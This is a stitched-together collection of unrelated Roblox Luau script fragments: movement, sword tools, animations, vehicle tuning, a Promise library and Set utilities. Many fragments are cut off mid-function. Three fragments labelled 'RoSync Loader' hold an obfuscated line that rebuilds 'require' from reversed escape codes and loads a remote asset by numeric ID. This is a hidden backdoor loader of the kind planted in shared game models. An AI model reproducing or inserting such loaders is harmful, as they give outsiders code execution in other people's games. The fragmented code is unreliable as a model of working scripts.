local WasAutoJumper = false
local WasAutoJumpMobile = false
HumanoidSeatedConn = child.Seated:connect(function(active, seat) onSeated(child, active, seat) end)
if child.SeatPart then
onSeated(child, true, child.SeatPart)
end
end
end
CharacterChildAddedConn = character.ChildAdded:connect(function(child)
OnCharacterChildAdded(child)
end)
CharacterChildRemovedConn = character.ChildRemoved:connect(function(child)
if UIS.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end)
for _, child in pairs(character:GetChildren()) do
OnCharacterChildAdded(child)
end
end
local Running = false
function this:Stop()
if Running then
DisconnectEvents()
CleanupPath()
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
if CameraModule then
CameraModule.UpdateTweenFunction = nil
CameraModule:SetEnabled(false)
end
-- Restore tool activation on shutdown
if UIS.TouchEnabled then
local character = Player.Character
if character then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end
end
DrivingTo = nil
Running = false
end
end
function this:Start()
if not Running then
if Player.Character then -- retro-listen
OnCharacterAdded(Player.Character)
end
OnCharacterAddedConn = Player.CharacterAdded:connect(OnCharacterAdded)
if CameraModule then
CameraModule:SetEnabled(true)
end
Running = true
end
end
return this
end
return CreateClickToMoveModule
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
DamageValues = {
BaseDamage = 5,
SlashDamage = 20,
}
Damage = DamageValues.BaseDamage
BaseUrl = "http://www.roblox.com/asset/?id="
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
Animations = {
LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
SideSwipe = {Animation = Tool:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
R15LeftSlash = {Animation = Tool:WaitForChild("R15LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R15RightSlash = {Animation = Tool:WaitForChild("R15RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R15SideSwipe = {Animation = Tool:WaitForChild("R15SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
}
Sounds = {
Unsheath = Handle:WaitForChild("Unsheath"),
Slash = Handle:WaitForChild("Slash"),
Lunge = Handle:WaitForChild("Lunge"),
}
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Tool,
})
ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Tool,
})
Handle.Transparency = 0
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function DealDamage(character, damage)
if not CheckIfAlive() or not character then
return
end
local damage = (damage or 0)
local humanoid = character:FindFirstChild("Humanoid")
local rootpart = character:FindFirstChild("HumanoidRootPart")
if not rootpart then
rootpart = character:FindFirstChild("Torso")
end
if not humanoid or humanoid.Health == 0 or not rootpart then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
if humanoid.Parent.Side.Value == "Enemy" then
humanoid:TakeDamage(damage)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Blow(Part)
local PartTouched
local HitDelay = false
PartTouched = Part.Touched:connect(function(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then
return
end
local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand"))
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChild("Humanoid")
local rootpart = (character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso"))
if not humanoid or humanoid.Health == 0 or not rootpart then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
HitDelay = true
local TotalDamage = Damage
DealDamage(character, TotalDamage)
wait(0.05)
HitDelay = false
end)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
--[[local Anim = Create("StringValue"){
Name = "toolanim",
Value = "Slash",
}
Debris:AddItem(Anim, 2)
Anim.Parent = Tool]]
local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.LeftSlash, Animations.RightSlash, Animations.SideSwipe})
or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe}))
local Animation = SwingAnimations[math.random(1, #SwingAnimations)]
Spawn(function()
InvokeClient("PlayAnimation", Animation)
end)
wait(Animation.Duration)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
Attack()
Damage = DamageValues.BaseDamage
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false)
end
holdanim = nil
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
RootPart = Character:FindFirstChild("HumanoidRootPart")
holdanim = Humanoid:LoadAnimation(script.Parent.Hold)
if not CheckIfAlive() then
return
end
Sounds.Unsheath:Play()
holdanim:Play()
ToolEquipped = true
end
function Unequipped()
Humanoid.WalkSpeed = 16
ToolEquipped = false
holdanim:Stop()
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Blow(Handle)
|
--[[ Last synced 4/4/2021 09:18 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-------------------true/false finders-------------------
|
if(vParts.Values.Light.Value == false) then
PS.Light.Text = " Lights: Off"
end
if(vParts.Values.Light.Value == true) then
PS.Light.Text = " Lights: On"
end
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.2, Humanoid)
updateVelocity(currentTime)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
--[[Transmission]]
|
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[Destination]]
|
--
PlayerTarget = game.Players.LocalPlayer
PlayerHead = game.Players.LocalPlayer.Character.Head
NameTarget = script.Parent.Parent.billboardText
TextTarget = script.Parent.Parent.billboardTarget
|
------
|
UIS.InputBegan:connect(function(i,GP)
if not GP then
if i.KeyCode == Enum.KeyCode.L then REvent:FireServer("L",true) end
if i.KeyCode == Enum.KeyCode.H then REvent:FireServer("H",true) end
if i.KeyCode == Enum.KeyCode.J then REvent:FireServer("J",true) end
if i.KeyCode == Enum.KeyCode.P then
REvent:FireServer("P",true)
end
end
end)
UIS.InputEnded:connect(function(i,GP)
if not GP then
if i.KeyCode == Enum.KeyCode.H then REvent:FireServer("H",false) end
end
end)
|
--[[
Contains markers for annotating objects with types.
To set the type of an object, use `Type` as a key and the actual marker as
the value:
local foo = {
[Type] = Type.Foo,
}
]]
|
local Symbol = require(script.Parent.Symbol)
local strict = require(script.Parent.strict)
local Type = newproxy(true)
local TypeInternal = {}
local function addType(name)
TypeInternal[name] = Symbol.named("Roact" .. name)
end
addType("Binding")
addType("Element")
addType("Fragment")
addType("HostChangeEvent")
addType("HostEvent")
addType("StatefulComponentClass")
addType("StatefulComponentInstance")
addType("VirtualNode")
addType("VirtualTree")
function TypeInternal.of(value)
if typeof(value) ~= "table" then
return nil
end
return value[Type]
end
getmetatable(Type).__index = TypeInternal
getmetatable(Type).__tostring = function()
return "RoactType"
end
strict(TypeInternal, "Type")
return Type
|
--!nonstrict
|
local LuauPolyfill = script.Parent
local Array = require(LuauPolyfill.Array)
type Array<T> = Array.Array<T>
type Object = { [string]: any }
local inspect = require(LuauPolyfill.util.inspect)
local Set = {}
Set.__index = Set
Set.__tostring = function(self)
local result = "Set "
if #self._array > 0 then
result ..= "(" .. tostring(#self._array) .. ") "
end
result ..= inspect(self._array)
return result
end
type callbackFn<T> = (value: T, key: T, set: Set<T>) -> ()
type callbackFnWithThisArg<T> = (thisArg: Object, value: T, key: T, set: Set<T>) -> ()
export type Set<T> = {
size: number,
-- method definitions
add: (self: Set<T>, T) -> Set<T>,
clear: (self: Set<T>) -> (),
delete: (self: Set<T>, T) -> boolean,
forEach: (self: Set<T>, callback: callbackFn<T> | callbackFnWithThisArg<T>, thisArg: Object?) -> (),
has: (self: Set<T>, T) -> boolean,
ipairs: (self: Set<T>) -> any,
}
type Iterable = { ipairs: (any) -> any }
function Set.new<T>(iterable: Array<T> | Set<T> | Iterable | string | nil): Set<T>
local array = {}
local map = {}
if iterable ~= nil then
local arrayIterable: Array<any>
-- ROBLOX TODO: remove type casting from (iterable :: any).ipairs in next release
if typeof(iterable) == "table" then
if Array.isArray(iterable) then
arrayIterable = Array.from(iterable :: Array<any>)
elseif typeof((iterable :: Iterable).ipairs) == "function" then
-- handle in loop below
elseif _G.__DEV__ then
error("cannot create array from an object-like table")
end
elseif typeof(iterable) == "string" then
arrayIterable = Array.from(iterable :: string)
else
error(("cannot create array from value of type `%s`"):format(typeof(iterable)))
end
if arrayIterable then
for _, element in ipairs(arrayIterable) do
if not map[element] then
map[element] = true
table.insert(array, element)
end
end
elseif typeof(iterable) == "table" and typeof((iterable :: Iterable).ipairs) == "function" then
for _, element in (iterable :: Iterable):ipairs() do
if not map[element] then
map[element] = true
table.insert(array, element)
end
end
end
end
return (setmetatable({
size = #array,
_map = map,
_array = array,
}, Set) :: any) :: Set<T>
end
function Set:add(value)
if not self._map[value] then
-- Luau FIXME: analyze should know self is Set<T> which includes size as a number
self.size = self.size :: number + 1
self._map[value] = true
table.insert(self._array, value)
end
return self
end
function Set:clear()
self.size = 0
table.clear(self._map)
table.clear(self._array)
end
function Set:delete(value): boolean
if not self._map[value] then
return false
end
-- Luau FIXME: analyze should know self is Map<K, V> which includes size as a number
self.size = self.size :: number - 1
self._map[value] = nil
local index = table.find(self._array, value)
if index then
table.remove(self._array, index)
end
return true
end
|
--[=[
@param config ComponentConfig
@return ComponentClass
Create a new custom Component class.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
```
A full example might look like this:
```lua
local MyComponent = Component.new({
Tag = "MyComponent",
Ancestors = {workspace},
Extensions = {Logger}, -- See Logger example within the example for the Extension type
})
local AnotherComponent = require(somewhere.AnotherComponent)
-- Optional if UpdateRenderStepped should use BindToRenderStep:
MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value
function MyComponent:Construct()
self.MyData = "Hello"
end
function MyComponent:Start()
local another = self:GetComponent(AnotherComponent)
another:DoSomething()
end
function MyComponent:Stop()
self.MyData = "Goodbye"
end
function MyComponent:HeartbeatUpdate(dt)
end
function MyComponent:SteppedUpdate(dt)
end
function MyComponent:RenderSteppedUpdate(dt)
end
```
]=]
|
function Component.new(config: ComponentConfig)
local customComponent = {}
customComponent.__index = customComponent
customComponent.__tostring = function()
return "Component<" .. config.Tag .. ">"
end
customComponent._ancestors = config.Ancestors or DEFAULT_ANCESTORS
customComponent._instancesToComponents = {}
customComponent._components = {}
customComponent._trove = Trove.new()
customComponent._extensions = config.Extensions or {}
customComponent._started = false
customComponent.Tag = config.Tag
customComponent.Started = customComponent._trove:Construct(Signal)
customComponent.Stopped = customComponent._trove:Construct(Signal)
setmetatable(customComponent, Component)
customComponent:_setup()
return customComponent
end
|
-- byte stm_byte(Stream S)
-- @S - Stream object to read from
|
local function stm_byte(S)
local idx = S.index
local bt = string.byte(S.source, idx, idx)
S.index = idx + 1
return bt
end
|
-- Calculating IVs for SHA512/224 and SHA512/256
|
for width = 224, 256, 32 do
local H_lo, H_hi = {}, nil
if XOR64A5 then
for j = 1, 8 do
H_lo[j] = XOR64A5(sha2_H_lo[j])
end
else
H_hi = {}
for j = 1, 8 do
H_lo[j] = bit32_bxor(sha2_H_lo[j], 0xA5A5A5A5) % 4294967296
H_hi[j] = bit32_bxor(sha2_H_hi[j], 0xA5A5A5A5) % 4294967296
end
end
sha512_feed_128(H_lo, H_hi, "SHA-512/" .. tostring(width) .. "\128" .. string.rep("\0", 115) .. "\88", 0, 128)
sha2_H_ext512_lo[width] = H_lo
sha2_H_ext512_hi[width] = H_hi
end
|
-- Obtain the InputService
|
local UserInputService = game:GetService("UserInputService")
|
--[[Steering]]
|
Tune.SteerInner = 45 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 44 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 420 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 13 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100 -- Steering Aggressiveness
|
--// Weld Connection
|
wait(0.5)
local L_29_ = L_2_:GetDescendants()
for L_34_forvar1, L_35_forvar2 in pairs(L_29_) do
if L_35_forvar2:IsA('BasePart') then
if L_35_forvar2.Name ~= 'Engine' and L_35_forvar2.Parent ~= L_2_.RegenButton then
Weld(L_35_forvar2, L_2_.Required.Engine)
end
end
end
for L_36_forvar1, L_37_forvar2 in pairs(L_29_) do
if L_37_forvar2:IsA('BasePart') then
if L_37_forvar2.Parent ~= L_2_.RegenButton then
L_37_forvar2.Anchored = false
end
end
end
|
--------| Setting |--------
|
local Debug = true
local waitTimeout = 5
local defaultRigType = Enum.HumanoidRigType.R15
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
speed /= getRigScale()
if speed > 0.01 then
playAnimation("walk", 0.1, Humanoid)
if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then
setAnimationSpeed(speed / 14.5)
end
pose = "Running"
else
if emoteNames[currentAnim] == nil then
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
speed /= getRigScale()
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed > 0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
|
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableHolster = false
,HolsterTo = 'Right Leg' -- Put the name of the body part you wanna holster to
,HolsterPos = CFrame.new(0.80,0.7,0.2) * CFrame.Angles(math.rad(-88),math.rad(-180),math.rad(0))
,RightArmPos = CFrame.new(-.875, 0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
,LeftArmPos = CFrame.new(0.25,0.65,-1.65) * CFrame.Angles(math.rad(-100),math.rad(15),math.rad(-0)) --server
,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
,RightPos = CFrame.new(-0.65, 0.25, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client
,LeftPos = CFrame.new(0.2,0.675,-1.45) * CFrame.Angles(math.rad(-100),math.rad(15),math.rad(-0)) --Client
}
return Config
|
--// F key, HornOff
|
mouse.KeyUp:connect(function(key)
if key=="h" then
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 10
veh.Lightbar.middle.Yelp.Volume = 10
veh.Lightbar.middle.Priority.Volume = 10
veh.Lightbar.AH.Transparency = 1
end
end)
|
--[[ Last synced 10/14/2020 09:29 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- Variables (best not to touch these!)
|
local button = script.Parent
local car = script.Parent.Parent.Car.Value
local sound = script.Parent.Start
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
if script.Parent.Text == "Engine: Off" then -- If the text says it's off then..
sound:Play() -- Startup sound plays..
wait(1.5) -- For realism. Okay?
script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
button.Text = "Engine: On" -- You don't really need this, but I would keep it.
else -- If it's on then when you click the button,
script.Parent.Parent.IsOn.Value = false -- The car is turned off.
button.Text = "Engine: Off"
end -- Don't touch this.
end) -- And don't touch this either.
|
-----
|
function Lobby.run()
_joinEvent = Util.newRemoteEvent("JoinEvent", ReplicatedStorage)
_serverListEvent = Util.newRemoteEvent("ServerListEvent", ReplicatedStorage)
_statusEvent = Util.newRemoteEvent("StatusEvent", ReplicatedStorage)
MessagingService:SubscribeAsync("LOBBY", Lobby._dispatchMessage)
MessagingService:SubscribeAsync(tostring(game.JobId), Lobby._dispatchMessage)
Lobby._registerHandler("ANNOUNCE", Lobby._handleServerAnnounce)
Lobby._registerHandler("ANNOUNCE:REMOVAL", Lobby._handleServerRemoval)
Lobby._registerHandler("ANNOUNCE:RESPONSE", Lobby._handleServerAnnounce)
Lobby._registerHandler("JOIN:RESPONSE", Lobby._handleJoinResponse)
Lobby._registerHandler("JOIN:EXPIRED", Lobby._handleJoinExpired)
Log.Debug.Lobby("run: %s (%s)", game.JobId, game.PlaceId)
Lobby._requestServerList()
_joinEvent.OnServerEvent:Connect(Lobby._onJoin)
Players.PlayerAdded:Connect(Lobby._onPlayerAdded)
Players.PlayerRemoving:Connect(Lobby._onPlayerRemoving)
TeleportService.TeleportInitFailed:Connect(Lobby._onTeleportFailure)
coroutine.wrap(function()
while true do
Lobby._detectDeadServers()
Lobby._processJoinQueue()
wait(1)
end
end)()
end
|
--!strict
--[=[
@function isSubset
@within Set
@param subset { [any]: boolean } -- The subset to check.
@param superset { [any]: boolean } -- The superset to check against.
@return boolean -- Whether the subset is a subset of the superset.
Checks whether a set is a subset of another set.
```lua
local set = { hello = true, world = true }
local subset = { hello = true }
local isSubset = IsSubset(subset, set) -- true
```
]=]
|
local function isSubset(subset: { [any]: boolean }, superset: { [any]: boolean }): boolean
for key, value in pairs(subset) do
if superset[key] ~= value then
return false
end
end
return true
end
return isSubset
|
--[[ Last synced 4/6/2021 11:58 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[
Returns a new promise that:
* is resolved when all input promises resolve
* is rejected if ANY input promises reject
]]
|
function Promise._all(traceback, promises, amount)
if type(promises) ~= "table" then
error(string.format(ERROR_NON_LIST, "Promise.all"), 3)
end
-- We need to check that each value is a promise here so that we can produce
-- a proper error rather than a rejected promise with our error.
for i, promise in pairs(promises) do
if not Promise.is(promise) then
error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.all", tostring(i)), 3)
end
end
-- If there are no values then return an already resolved promise.
if #promises == 0 or amount == 0 then
return Promise.resolve({})
end
return Promise._new(traceback, function(resolve, reject, onCancel)
-- An array to contain our resolved values from the given promises.
local resolvedValues = {}
local newPromises = {}
-- Keep a count of resolved promises because just checking the resolved
-- values length wouldn't account for promises that resolve with nil.
local resolvedCount = 0
local rejectedCount = 0
local done = false
local function cancel()
for _, promise in ipairs(newPromises) do
promise:cancel()
end
end
-- Called when a single value is resolved and resolves if all are done.
local function resolveOne(i, ...)
if done then
return
end
resolvedCount = resolvedCount + 1
if amount == nil then
resolvedValues[i] = ...
else
resolvedValues[resolvedCount] = ...
end
if resolvedCount >= (amount or #promises) then
done = true
resolve(resolvedValues)
cancel()
end
end
onCancel(cancel)
-- We can assume the values inside `promises` are all promises since we
-- checked above.
for i, promise in ipairs(promises) do
newPromises[i] = promise:andThen(
function(...)
resolveOne(i, ...)
end,
function(...)
rejectedCount = rejectedCount + 1
if amount == nil or #promises - rejectedCount < amount then
cancel()
done = true
reject(...)
end
end
)
end
if done then
cancel()
end
end)
end
function Promise.all(...)
local promises = {...}
-- check if we've been given a list of promises, not just a variable number of promises
if type(promises[1]) == "table" and not Promise.is(promises[1]) then
-- we've been given a table of promises already
promises = promises[1]
end
return Promise._all(debug.traceback(nil, 2), promises)
end
function Promise.fold(list, callback, initialValue)
assert(type(list) == "table", "Bad argument #1 to Promise.fold: must be a table")
assert(type(callback) == "function", "Bad argument #2 to Promise.fold: must be a function")
local accumulator = Promise.resolve(initialValue)
return Promise.each(list, function(resolvedElement, i)
accumulator = accumulator:andThen(function(previousValueResolved)
return callback(previousValueResolved, resolvedElement, i)
end)
end):andThenReturn(accumulator)
end
function Promise.some(promises, amount)
assert(type(amount) == "number", "Bad argument #2 to Promise.some: must be a number")
return Promise._all(debug.traceback(nil, 2), promises, amount)
end
function Promise.any(promises)
return Promise._all(debug.traceback(nil, 2), promises, 1):andThen(function(values)
return values[1]
end)
end
function Promise.allSettled(promises)
if type(promises) ~= "table" then
error(string.format(ERROR_NON_LIST, "Promise.allSettled"), 2)
end
-- We need to check that each value is a promise here so that we can produce
-- a proper error rather than a rejected promise with our error.
for i, promise in pairs(promises) do
if not Promise.is(promise) then
error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.allSettled", tostring(i)), 2)
end
end
-- If there are no values then return an already resolved promise.
if #promises == 0 then
return Promise.resolve({})
end
return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel)
-- An array to contain our resolved values from the given promises.
local fates = {}
local newPromises = {}
-- Keep a count of resolved promises because just checking the resolved
-- values length wouldn't account for promises that resolve with nil.
local finishedCount = 0
-- Called when a single value is resolved and resolves if all are done.
local function resolveOne(i, ...)
finishedCount = finishedCount + 1
fates[i] = ...
if finishedCount >= #promises then
resolve(fates)
end
end
onCancel(function()
for _, promise in ipairs(newPromises) do
promise:cancel()
end
end)
-- We can assume the values inside `promises` are all promises since we
-- checked above.
for i, promise in ipairs(promises) do
newPromises[i] = promise:finally(
function(...)
resolveOne(i, ...)
end
)
end
end)
end
|
-- Example trigger script
|
local gui = script.Parent
local playergui = gui.Parent
local player = playergui.Parent
local mouse = player:GetMouse()
local vFrequency = script.Frequency
local tikiTorches = workspace.TikiTorches:GetChildren()
local loop = false
function go()
local torch = tikiTorches[math.random(1, #tikiTorches)]
gui.CreateIndicator:Invoke(torch.Main.Position, 1)
end
gui.TextButton.MouseButton1Down:connect(function ()
gui.CreateIndicator:Invoke(Vector3.new(math.random(-25,25), 0, math.random(-25,25)), 2.5)
end)
gui.TextButton.MouseButton2Down:connect(function ()
loop = not loop
end)
while true do
if loop then
go()
wait(math.random(1,vFrequency.Value)/100)
else
gui.TextButton.MouseButton2Down:wait()
end
wait()
end
|
--// Functions
|
function MakeFakeArms()
Arms = Instance.new("Model")
Arms.Name = "Arms"
Arms.Parent = L_5_
local L_144_ = Instance.new("Humanoid")
L_144_.MaxHealth = 0
L_144_.Health = 0
L_144_.Name = ""
L_144_.Parent = Arms
if L_3_:FindFirstChild("Shirt") then
local L_149_ = L_3_:FindFirstChild("Shirt"):clone()
L_149_.Parent = Arms
end
local L_145_ = L_3_:FindFirstChild("Right Arm"):clone()
